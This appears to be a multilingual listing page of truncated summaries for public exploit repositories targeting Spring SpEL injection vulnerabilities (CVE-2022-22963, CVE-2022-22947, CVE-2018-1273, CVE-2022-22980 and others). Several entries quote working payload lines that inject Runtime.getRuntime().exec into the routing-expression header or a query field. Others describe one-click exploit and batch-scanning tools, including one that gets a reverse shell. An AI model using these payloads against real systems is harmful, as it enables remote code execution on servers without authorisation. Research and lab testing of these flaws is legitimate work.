CVE-2022-22963

Spring Cloud Function 脆弱性CVE-2022-22963 CVE-2022-22963 に対する脆弱なアプリケーション CVE-2022-22963 エクスプロイトデモ https://user-images.githubusercontent.com/57348147/161266562-51d025f0-54d4-488f-ac50-2317e29bfbdf.mp4 ビルド root@kitploit: docker pull me2nuk/cves:2022-22963 docker run -it -p 8080:8080 --name=vuln...

CVE-2022-22963-Exploit

CVE-2022-22963 익스플로잇 이 저장소는 Spring Cloud Function 버전 3.1.6, 3.2.2 및 지원되지 않는 구버전에서 발견된 CVE-2022-22963 취약점을 위한 Rust 기반 익스플로잇을 포함합니다. 이 취약점은 라우팅 표현식routing-expression으로 사용되는 특수하게 조작된 Spring ExpressionSpEL을 통해 원격 코드 실행 및 로컬 리소스 접근을 허용합니다. 설명 Spring Cloud Function 버전 3.1.6, 3.2.2 및 지원되지 않는 구버전에서 라우팅 기...

Spring-CVE

Spring CVE 이것은 CVE-2022-22963 Spring SpEL / Expression Resource Access Vulnerability과 CVE-2022-22965 SpringShell이라고 불리는 spring-webmvc/spring-webflux RCE를 포함합니다. CVE-2022-22963 Spring Cloud Function 버전 3.1.6, 3.2.2 및 지원되지 않는 이전 버전에서 라우팅 기능을 사용할 때 사용자가 특수하게 조작된 SpEL을 routing-expression으로 제공하면 원격 코드...

spring-cloud-gateway-rce

Spring Cloud Gateway Actuator API SpEL 표현식 삽입 명령 실행 CVE-2022-22947 1.설치 root@kitploit: pip3 install -r requirements.txt 2.사용법 root@kitploit: $ python3 spring-cloud-gateway-rce.py -h / \ /\ /\ /\ | \ / \ | \ | \ | \ | \ / \ | || | | | / / \ \ / / /\ || | | | | | | || || || | / / / / \ V / // || / ...

CVE-2022-22947

CVE-2022-22947 root@kitploit: Spring Cloud Gateway Actuator API SpEL 코드 주입CVE-2022-22947 익스플로잇 스크립트 root@kitploit: https://github.com/march0s1as/CVE-2022-22947 cd CVE-2022-22947 go build spring.go ./spring -h...

CVE-2022-22963-POC

CVE-2022-22963 익스플로잇 설명 Spring Cloud Function 버전 3.1.6, 3.2.2 및 지원이 종료된 이전 버전에서 라우팅 기능을 사용할 때 특별히 조작된 SpEL을 routing-expression으로 제공하면 원격 코드 실행 및 로컬 리소스 접근이 가능해집니다. 자세한 내용은 CVE-2022-22963 상세 정보에서 확인할 수 있습니다. AayushmanThapaMagar가 제공한 PoC를 기반으로, 취약한 서버에서 리버스 셸을 획득하기 위한 간단한 익스플로잇을 만들고 있습니다. 이 프로젝트의 목...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE 원격 명령 실행 취약점 사용법 root@kitploit: C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : BurpSuite request: root@kitploit: POST /account HTTP/1.1 Host...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE эксплойт PoC https://github.com/spring-cloud/spring-cloud-function заголовок root@kitploit: spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" сборка root@kitploit: wget...

CVE-2022-22963

CVE-2022-22963 - Spring4shell Чтобы запустить уязвимое приложение SpringBoot, запустите этот docker-контейнер, открыв его на порту 8080. Пример: root@kitploit: docker run -it -d -p 8080:8080 bobcheat/springboot-public Эксплойт Команда Curl: root@kitploit: curl -i -s -k -X $'POST' -H $'Host:...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 PoC https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/SpelRCEPOC.py 을를 영어 번역 및 탐지를 위해 약간 수정했습니다. 기본적으로 대상에서 whoami가 실행되고 취약한 URL 목록을 포함하는 vulnerable.txt 파일이 생성됩니다. 추가 정보...

CVE-2022-22947

CVE-2022-22947 Spring Cloud Gateway는 Spring에서 제공하는 API 게이트웨이입니다. 3.1.0 및 3.0.6 이전 버전에는 SpEL 표현식 주입 취약점이 존재하며, 공격자가 Actuator API에 접근 가능할 경우 이 취약점을 통해 임의의 명령을 실행할 수 있습니다. 취약점 환경 root@kitploit: git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml...

SpringCloudFunction-Research

SpringCloudFunction-Research CVE-2022-22963 research 環境 vulfocus/spring-cloud-function-rce:latest 成因 Request Header 中 spring.cloud.function.routing-expression 參數解析問題，造成注入Payload攻擊。 Reference https://hosch3n.github.io/2022/03/26/SpringCloudFunction%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/...

Spring-Data-Mongodb-Example

Spring-Data-Mongodb-Example CVE-2022-22980 환경 Docker 환경 구축 root@kitploit: docker build -t mongo . docker run -dit -p 6666:6666 mongo Poc root@kitploit: ➜ Spring-Data-Mongodb-Example git:main curl 0:6666/v1/user/get -d 'id=Tjava.lang.Runtime.getRuntime.exec"touch /tmp/aaaa"'...

CVE-2022-22963

CVE-2022-22963 spring cloud function sple rce spring cloud function 원클릭 활용 도구! by charis 블로그 https://charis3306.top/ exe 파일로 패키징되어 바로 사용 가능 명령어 주제 root@kitploit: usage: Spring-cloud-function-spel0.2.exe -h --check CHECK --route ROUTE --url URL --ip IP --port PORT --proxies PROXIES --cmd CMD sprin...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp 계륵 같은 취약점, 그냥 기록용. 1. redis 실행, 27017 포트 2. 프로젝트 실행, springboot는 6666 포트에서 실행 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666 Accept-Encoding: gzip, deflate Accept: /...

cve-2022-22963

Spring Cloud Function SpEL - cve-2022-22963 빌드 root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22963.git $ cd cve-2022-22963 $ docker build . -t spring-spel-0day $ docker run -p 8080:8080 --name spring-spel-0day spring-spel-0day 페이로드 root@kitploit:...

OpenMetaData - SpEL Injection in PUT /api/v1/policies

OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. CompiledRule::validateExpression is also called from PolicyRepository.prepare. prepare is called from...

SpEL

SpEL Spring Cloud Gateway Actuator API SpEL式インジェクションによるコマンド実行（CVE-2022-22947）一括検出ツール 使用方法 検出するURLをファイルに1行ずつ記述します。パラメータ -TF でファイルを指定し、-t で並行数を指定します。 実行結果 玉兔安全は、Webセキュリティ、Red/Blue対抗、内部ネットワーク侵入、検知回避テクニック、セキュリティツールシリーズなどの実践的なノウハウの共有に努めています。さらに多くのセキュリティツールを共有していますので、玉兔安全の公式アカウントをぜひフォローしてください！...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963에 대한 교육용 개념 증명 자동화로, 승인된 Hack The Box 랩 환경에서 시연되었습니다. 개요 CVE-2022-22963은 spring.cloud.function.routing-expression 헤더와 관련된 Spring Cloud Function 취약점입니다. 취약한 구성에서 공격자는 함수 라우팅 메커니즘을 통해 Java 기능을 호출하기 위해 Spring Expression LanguageSpEL 평가를 악용할 수 있습니다. 이 저장소에는 승인된 CTF/랩 환경에서...

CVE-2024-37759_PoC

CVE-2024-37759 PoC Описание DataGear версии 5.0.0 и более ранние содержат уязвимость внедрения SpEL-выражений, что приводит к удаленному выполнению кода. Эксплойт Детали уязвимости CVE При запросе интерфейса /data/schemaId/tableName/view, если таблица базы данных не имеет первичного ключа,...